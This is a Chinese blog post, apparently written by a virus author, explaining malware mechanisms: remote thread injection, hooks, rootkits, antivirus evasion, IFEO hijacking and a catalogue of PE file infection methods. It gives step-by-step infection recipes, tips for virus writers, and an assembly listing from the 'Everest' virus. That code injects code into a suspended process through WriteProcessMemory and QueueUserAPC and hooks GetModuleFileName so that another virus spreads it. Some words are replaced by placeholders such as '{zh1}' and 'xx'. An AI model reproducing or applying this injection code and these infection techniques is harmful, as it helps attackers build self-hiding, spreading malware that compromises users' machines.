病毒机理(续)_fishray1_新浪博客
   那么,“线程注射”又是什么含义呢?其实它的全称是“远程线程注

射”(remotethread injection),通常情况下,各个进程的内存空间是不可以相

互访问的,这也是为程序能够稳定运行打下基础,这个访问限制让所有进程之间

互相独立,这 样一来,任何一个非系统关键进程发生崩溃时都不会影响到其他内

存空间里的进程执行,从而使nt架构的稳定性远远高于win9x架构。但是在一些

特定的场合 里,必须让进程之间可以互相访问和管理,这就是“远程线程”技术

的初衷,这个技术实现了进程之间的跨内存空间访问,其核心是产生一个特殊的

线程,这个线程 能够将一段执行代码连接到另一个进程所处的内存空间里,作为

另一个进程的其中一个非核心线程来运行,从而达到交换数据的目的,这个连接

的过程被称为“注 射”(injection)。远程线程技术好比一棵寄生在大树上的蔓

藤,一旦目标进程被注射,这段新生的线程就成为目标进程的一部分代码了,只

要目标进程 不被终止,原进程无论是否还在运行都不会再影响到执行结果了。 

    与“线程注射”离不开的是“hook”技术,这个“hook”,又是什么呢?其官

方定义如下: 

    钩子(hook),是Windows消息处理机制的一个平台,应用程序可以在上面设

置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。

当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处

理window消息或特定事件。 

    钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当

特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩 子

函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处

理而继续传递该消息,还可以强制结束消息的传递。 

    在这里,木马编写者首先把一个实际为木马主体的dll文件载入内存,然后

通过“线程注射”技术将其注入其他进程的内存空间,{zh1}这个dll里的 代码就

成为其他进程的一部分来实现了自身的隐藏执行,通过调用“hook”机制,这个

dll木马便实现了监视用户的输入输出操作,截取有用的资料等操作。 这种木马

的实际执行体是一个dll文件,由于Windows系统自身就包含着大量的dll文件,

谁也无法一眼看出哪个dll文件不是系统自带的,所以这种 木马的隐蔽性又提高

了一级,而且它的执行方式也更加隐蔽,这是由Windows系统自身特性决定的,

Windows自身就是大量使用dll的系统,许多 dll文件在启动时便被相关的应用

程序加载进内存里执行了,可是有谁在进程里直接看到过某个dll在运行的?因为

系统是把dll视为一种模块性质的执行体 来调用的,它内部只包含了一堆以函数

形式输出的模块,也就是说每个dll都需要由一个用到它的某个函数的exe来加

载,当dll里的函数执行完毕后就会返 回一个运行结果给调用它的exe,然后dll

进程退出内存结束这次执行过程,这就是标准的dll运行周期,而采用了“线程

注射”技术的dll则不是这样, 它们自身虽然也是导出函数,但是它们的代码是

具备执行逻辑的,这种模块就像一个普通exe,只是它不能直接由自身启动,而是
需要有一个特殊作用的程序(称 为加载者)产生的进程把这个dll的主体函数载入

内存中执行,从而让它成为一个运行中的木马程序。 

     了解Windows的用户都知道,模块是紧紧依赖于进程的,调用了某个模块的

进程一旦退出执行,其加载的dll模块也就被迫终止了,但是在 dll木马里,这

个情况是不会因为最早启动的exe被终止而发生的,因为它使用了“远程线程注

射”技术,所以,在用户发现异常时,dll木马早就不知道被 注入哪个正常进程

里了,即使用户发现了这个木马dll,也无法把它终止,因为要关闭它就必须在那

么多的系统进程里找到被它注射的进程,并将其终止,对一般 用户来说,这是个

不可能完成的任务。 

   病毒常见自我保护

     1、rootkit  

    rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,

攻击者通过远程攻击获得root访问权限,或者首先密码猜测或者密码强制 破译

的方式获得系统的访问权限。进入系统后,如果他还没有获得root权限,再通过

某些安全漏洞获得系统的root权限。接着,攻击者会在侵入的主机中安 装

rootkit,然后他将经常通过rootkit的后门检查系统是否有其他的用户登录,如

果只有自己,攻击者就开始着手清理日志中的有关信息。通过 rootkit的嗅探器

获得其它系统的用户和密码之后,攻击者就会利用这些信息侵入其它的系统。  

    Rootkit是指其主要功能为隐藏其他程式进程的软件,可能是一个或一个以上

的软件组合;广 义而言,Rootkit也可视为一项技术。最早Rootkit用于善意用

途,但后来Rootkit也被黑客用在入侵和攻击他人的电脑系统上,电脑病毒、间 谍

软件等也常使用Rootkit来隐藏踪迹,因此Rootkit已被大多数的防毒软件归类

为具危害性的恶意软件。Linux、Windows、Mac OS等操作系统都有机会成为Rootkit

的受害目标。 

    2、进程守卫 

    拥有多进程,进程之间相互守护的古老技术。 

3、关闭杀毒软件 

    4、dll inject  ; 注入到常用进程防止被HIPS截获 

    5、exe inject  ; 同上 

    6、realtime update ; 防特征码查杀的 ,常见于机器狗等 

    7、自我变形 ; storm worm常用  

    8、对安软发起 flood  ;磁碟机,防止运行时被查杀 

    9、api hook   ;磁碟机等 

     10、ifeo(Image File Execution Options 映像劫持) 

    所谓的映像劫持(IFEO)就是Image File Execution Options,它位于注册表

的        

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image 

File Execution Options\键值下。由于这个项主要是用来调试程序用的,对一般

用户意义不大,默认是只有管理员和local system有权读写修改。  

虽然映像劫持是系统自带的功能,对一般用户来说根本没什么用的必要,但是就

有一些病毒通过映像劫持来做文章,表面上看起来是运行了一个正常的程序,实

际上病毒已经在后台运行了。 

     11、还有针对性的动作等 ;比如对卡巴斯基7(2009等无效)的修改时间等  

    病毒感染技术分析

    前言 

    病毒感染技术五花八门,这里对其做一大概介绍 

    一、传统技术 

    这里说的传统,指的是比较典型、应用比较多的感染方式,而不是普通意义

上“老掉牙”的那种传统!一般传统的病毒感染技术分成下面几类: 

    1.后缀式感染 

    这是 DOS 以及 Windows 下文件型病毒最常用的感染方式,也是原来非常流行

的一种感染方式,这种方式是非常简单的,只要把病毒体缀在宿主文件{zh1},再

修改程序入口,注意一下对齐,就行了。实际上这个方式也是最简单易行的,深

得VXer喜爱,因为它简单,但是却非常适合对病毒进行复杂的加密变形! 

    2.散落式感染 

    英文叫 cavity,就是把病毒体切成小块分散插入到宿主的空隙中,病毒执行

时再把他们组合起来。似乎人们从 CIH 才开始认识这种方式,事实上这种方式古

已有之,一些 DOS 病毒就用这种方式,只是没有引起人们注意--人们通常只推

崇轰动的东西! 

    PE 文件由于结构关系,xx就有很多空隙,适合一个小病毒存在,而DOS可

执行文件则没有什么 Section 的概念,也没有什么xx空隙,似乎看起来不可能

插 入。其实不然,由于编译器的缘故,文件里很可能有一些用于保存数据的连续

的0,这些空间只在运行时才有用,和程序的初始化没关系。所以病毒可以统计这

些连 续的 0,如果发现这样的空间足够大,就可以把病毒块放在里面,运行时把

病毒块摘出,然后重新把那块内存清零就可以了——这种技术在 DOS 时代算是比

较高级 的技术,实现起来比较困难。这种感染方式还有衍生。比如不利用宿主已

有的空隙,而是在宿主代码里硬生生地挖洞,把病毒代码插进去,病毒执行后再

把洞填回去。这样的好处是可以把病毒分解成很小的碎片,这样就不容易被发现,

缺点是实现有些复杂,效果未必比利用已有空隙好。 

    3.捆绑式感染 

    这种方式木马比较常用。就是用病毒自身替代宿主文件,而把宿主作为数据

存储在病毒体内。 

    这种方式有明显的不足,就是宿主增大太多,启动速度太慢。我们亲爱的Nimda

把这种方式发扬光大了。 

    4.伴侣式感染 

    这种方式 DOS 下的病毒和 Windows 下的木马都常用。就是用病毒自身替代宿

主,把宿主改个文件名,病毒启动后再启动宿主。 

这个和捆绑式有相似之处,不足之处更是一样,而且还多了一个,就是病毒文件

被Copy到别的机器以后,就没有了宿主文件,无法执行正常功能了,这样就很容

易 被用户发现。所以这种方式比较适合感染安装在 “Program Files”里的一般

不会被拷贝的应用程序,而不是感染普通独立的可执行文件。 

    二、另类感染 

    这里所说的另类,可能在很多人眼里是很普通的方法。但这些方法,并没有得

到广泛应用,所以称之为另类。 

    1.DLL链接式感染 

    具体实现就是把病毒作为一个DLL文件,然后在宿主体内加入一个导入此DLL

的Import项。这样在宿主启动时,系统会自动装载病毒。 

这种方法的好处是明显的,就是宿主启动比较迅速,因为病毒和普通 DLL 没什么

区别。而且如果用户敢删除病毒文件,那么被感染的文件就执行不了了。 

不足之处: 

    1)不总能感染,不一定有地方加一个Import项。 

    2)这个问题更严重,其和伴侣式一样,一旦宿主被拷贝到别的机器,那么宿

主就无法运行了。 

    如果你要用伴侣式,可以先考虑考虑这个方式。 

    2.肢解式感染 

    听起来很吓人,实现起来也比较残忍--改掉PE文件的结构,对其进行“重

组”。 

    这个想法我最早实现在我的病毒 Win32.Loicer(W32.Cervan)中,这是一个

不成功的病毒,bug非常非常多,但总算实现了这个思想。 

    这个病毒的源码比较复杂,就不在这里分析了。感兴趣的同志可以去 CVC 论

坛看源码,可以通过地址下载。 

这里只简单说一下这种感染技术的思路。 

    我们先看一下一个程序从可执行文件成为一个进程的过程:Windows装载进程

时,首先要把文件映射到内存,然后的工作就是装载文件Import表里导入的 DLL,

填充 API 地址,{zh1}才能正式启动进程。当进程调用 API 时,它就会用一条 call 

tttttt指令,tttttt处并不是API入口,而是一条间接跳转指令,jmp [xxxx],

此处xxxx地址处存放的就是系统填充的API地址。 

 如果能在xxxx处填入病毒的入口地址,那么就可以完成感染,可惜的是系统

会填充那里,我们无法控制。看起来我说废话了,其实不然。换个角度想想,如

果我们 阻止系统填充,那么我们不就能占领高地了吗?我们是无法阻止系统填充

的(又说废话),但我们可以让系统填充到别处,也就是把Import表搬个地方。 

好了,整理一下思路,让我们看一下具体的感染步骤: 

    1)创建一个新的 Import 表,里面可以引入病毒自己需要的 API,比如

LoadLibrary 

    2)将原Import表拷贝到病毒体内 

    3)修改PE头,使得Import Entry指向新的Import表 

    4)修改原Import各API地址,使得当宿主调用API时,可以跳入病毒代码。

这样也就自然而然地完成了非常好的EPO。 

    上面是感染文件所要做的工作,当病毒执行时,还要做额外的工作,就是装

载宿主需要的所有DLL,并把API地址填充到宿主的Import表里。 

    上面说的非常简单,具体实现比这要复杂得多,可以参考Loicer源代码。 

    从上面的感染过程可以看出,由于被感染文件的原始Import表已经不复存在,

所以基本无法恢复成原貌,这就是我为什么说这种方式是无法恢复的。但无法恢

复是相对的,PE结构无法恢复了,但宿主功能还完好无损。 

    这个感染技术,其实可以推广到加密技术,很容易就将 Import 表加密了

 (Loicer 确实把宿主用到的 API 加密)。如果不用 EPO 技术,那么xx可以把宿

主代码也进行加密。 

    这个方法只是把 Import 表进行了重组,其实更进一步的话,可以对整个 PE

文件进行重新组装,并可进行加密。这样将使病毒被xx的难度大大增加,而且

也破坏了PE文件原有结构,使恢复变得非常困难。 

    3.寄居蟹式感染/传播 

    这是我们CVC兄弟PKXP的一大发明,并应用在小病毒Everest中,是一种很

懒的做法,但懒得有道理,懒得够水平。 

    其实这种思想非常简单,就是自己不传播,让其它病毒传播自己。 

    这个病毒里面有几个有意思的地方,所以让我们分析一下这个病毒。 
@pushsz 'Everest' ;压字符串 

    push FALSE 

    push NULL 

    call CreateMutex 

    call GetLastError ;避免运行多个实例 

    cmp eax , ERROR_ALREADY_EXISTS ;已经运行,结束 

    jz ExitVirus  

    上面是蠕虫的传统,建立互斥,避免多次运行。 

   下面一条指令跳入初始化模块,主要获取系统路径,并提升权限,获取

SE_DEBUG_NAME(SeDebugPrivilege)权限,并无特别之处,不再赘述。 

    初始化完成后,就开始我们寄居蟹之旅,想办法找到合适的贝壳。 

    这里的贝壳,就是在机器内活动的其它病毒进程(以下所说的病毒,是指其

它病毒,而非Everest。)。 

    找到特定的进程很简单,无非是枚举所有进程,然后把进程的文件名和病毒

文件名比对,就可以了。由于 Everest 这部分代码不是很好(用了 PSAPI,其实

ToolHelp API更好些),而且比较简单,这里就不分析代码了。 

    下面就是比较关键的地方了,对找到的病毒进行手术。 

PatchVirus PROC hProcess : DWORD , szVirusPath : DWORD 

LOCAL szDestPath[128] : BYTE 

LOCAL szFormatedPath[128]: BYTE 

 

pushad 

mov eax,hProcess 

or eax,eax 

jz PVMoveVirus 

push 0 

push hProcess 

call TerminateProcess;结束病毒进程,这就是为什么在开始需要提升权限了 

push INFINITE 

push hProcess 

call WaitForSingleObject ;等到它真的结束为止 

 

push hProcess 

call CloseHandle  

PVMoveVirus: 

lea esi , szFormatedPath 

push esi 

push szVirusPath 

call FormatVirus ;产生病毒文件名 

 

lea edi , szDestPath 

push esi 

push edi 

call lstrcpy 

 

@pushsz '.scr' 

push edi  

call lstrcat ;产生新文件名 

 

push edi 

push esi 

call MoveFile ;把病毒文件改成新名字 

 

push esi 

call lstrlen 
mov esi , szVirusPath 

add esi , eax 

 

push esi 

push edi 

call lstrcat 

 

push edi 

call StartVirus ;重新启动病毒 

popad 

ret 8 

PatchVirus ENDP 

    上面的代码,基本就是先结束病毒进程,再重新启动。这不是盲目的瞎折腾,

而是要在重新启动时对病毒进行一些手术。 

手术开始了: 

StartVirus PROC szVirusPath : DWORD 

LOCAL sio : STARTUPINFO 

LOCAL pi : PROCESS_INFORMATION 

LOCAL cbWritten : DWORD 

 

pushad 

push sizeof(STARTUPINFO) 

lea eax , sio 

push eax 

call RtlZeroMemory 

mov sio.cb , sizeof STARTUPINFO 

mov sio.wShowWindow , SW_HIDE 

mov sio.dwFlags , STARTF_USESHOWWINDOW 

lea eax , pi 

push eax 

lea eax , sio 

push eax 

push NULL  

push NULL  

push CREATE_SUSPENDED 

push TRUE 

push NULL  

push NULL  

push szVirusPath 

push NULL 

call CreateProcess ;启动病毒进程,注意参数CREATE_SUSPENDED的存在使病毒

处于休眠状态,这样才方便手术 

or eax , eax 

jz SVExit 

 

push 3000 

call Sleep 

 

push PAGE_EXECUTE_READWRITE 

push MEM_RESERVE or MEM_COMMIT 

push RemoteCodeEnd - RemoteCodeStart 

push 0 

push pi.hProcess 

call VirtualAllocEx ;在病毒进程分配一块内存 

or eax , eax 

jz SVFail 

 

mov esi , eax 

add eax , NewGetModuleFileName - RemoteCodeStart 

mov _NewGetModuleFileNameA , eax  

 

lea eax , cbWritten 

push eax 

push RemoteCodeEnd - RemoteCodeStart 

push offset RemoteCodeStart 

push esi  

push pi.hProcess 

call WriteProcessMemory ;向病毒进程写入代码 

or eax , eax 

jz SVFail 

 

push NULL 

push pi.hThread 

push esi 

call QueueUserAPC ;排队等候执行 

or eax , eax 

jz SVFail 

 

push pi.hThread 

call ResumeThread ;好了,手术结束,唤醒病毒 

SVFail: 

push pi.hThread 

call CloseHandle 
push pi.hProcess 

call CloseHandle 

SVExit:  

popad 

ret 4 

StartVirus ENDP 

 

写入病毒进程的远程代码如下: 

 

RemoteCodeStart:  

mov esi , 12345678h 

_GetModuleFileNameA = dword ptr $-4  

@pushsz '123' ;cbWriten  

push PAGE_EXECUTE_READWRITE  

push 6  

push esi 

mov eax , 12345678h 

_VirtualProtect = dword ptr $-4 

call eax ;改虚拟内存属性,方便写入 

 

@pushsz '123' ;cbWriten 

push 6 

call RCSJump 

push 12345678h ;这两行代码是跳转代码 

_NewGetModuleFileNameA = dword ptr $-4  

ret 

RCSJump: 

push esi 

push -1 

mov eax , 12345678h 

_WriteProcessMemory = dword ptr $-4 

call eax ;写入跳转代码 

ret 4 

 

NewGetModuleFileName: 

push esi 

push edi 

mov edi , [esp+16] 

call _szWormPath 

szWormPath db MAX_PATH dup (0) 

_szWormPath:  

pop esi 

xor ecx , ecx 

RCSLoop: 

lodsb 

stosb 

inc ecx  

or al , al 

jnz RCSLoop  

pop edi 

pop esi 

mov eax , ecx 

ret 12 

RemoteCodeEnd: 

    让我们回过头来对上面两段代码进行简单分析。 

    StartVirus 模块其实就是以休眠状态创建病毒进程,然后向其插入远程代

码,并启动之。有趣的是这里并没有使用远程线程,而是使用了 QueueUserAPC。

这个 API非常有趣,它的作用是把插入的远程代码作为一个APC callback进行排

队,当进程触发某些状态时,这个回调就会被调用。从休眠转入运行,就是这样

的状态,所以远程代码在病毒执行前就执行了。关于 QueueUserAPC,大家可以看

看MSDN。这个API又一次体现了MS的风格,好用就行,不管安全与否。 

    RemoteCodeStart 模块就是远程代码部分,它的作用很明朗,就是替换病毒

进程的GetModuleFileName函数的头6个字节,换成push xxxxxx/ret,其中xxxxxx

是新的 GetModuleFileName 地址。这样当病毒调用 GetModuleFileName 时,就会

掉到 Everest 埋伏 的陷阱里,一个新的 GetModuleFileName。这个新的

GetModuleFileName返回的是预先取得的 Everest的文件名。 

    说到这里,这个寄居蟹思路已经比较明朗了:当病毒获取自身文件名时,结

果获得的是 Everest 的,当病毒把“自身文件”向外传播时,传的就是 Everest

了。 

    由上可以看出这是多么懒的做法,但懒得有道理,不用任何网络编程,就可

以通过网络传播。 

    这是一种新的思想,而且还算比较不错的思想,但未必实用。试想想,有几

个用户会同时中两个病毒(一个Everest,一个其它病毒)?写病毒的一个原则,

就 是不能xx依赖特定的东西,否则一旦依赖的对象不存在了,病毒自身也就完

蛋了,而Everest一旦离开其它病毒,它就无法传播了。 

已投稿到:
郑重声明:资讯 【病毒机理(续)_fishray1_新浪博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——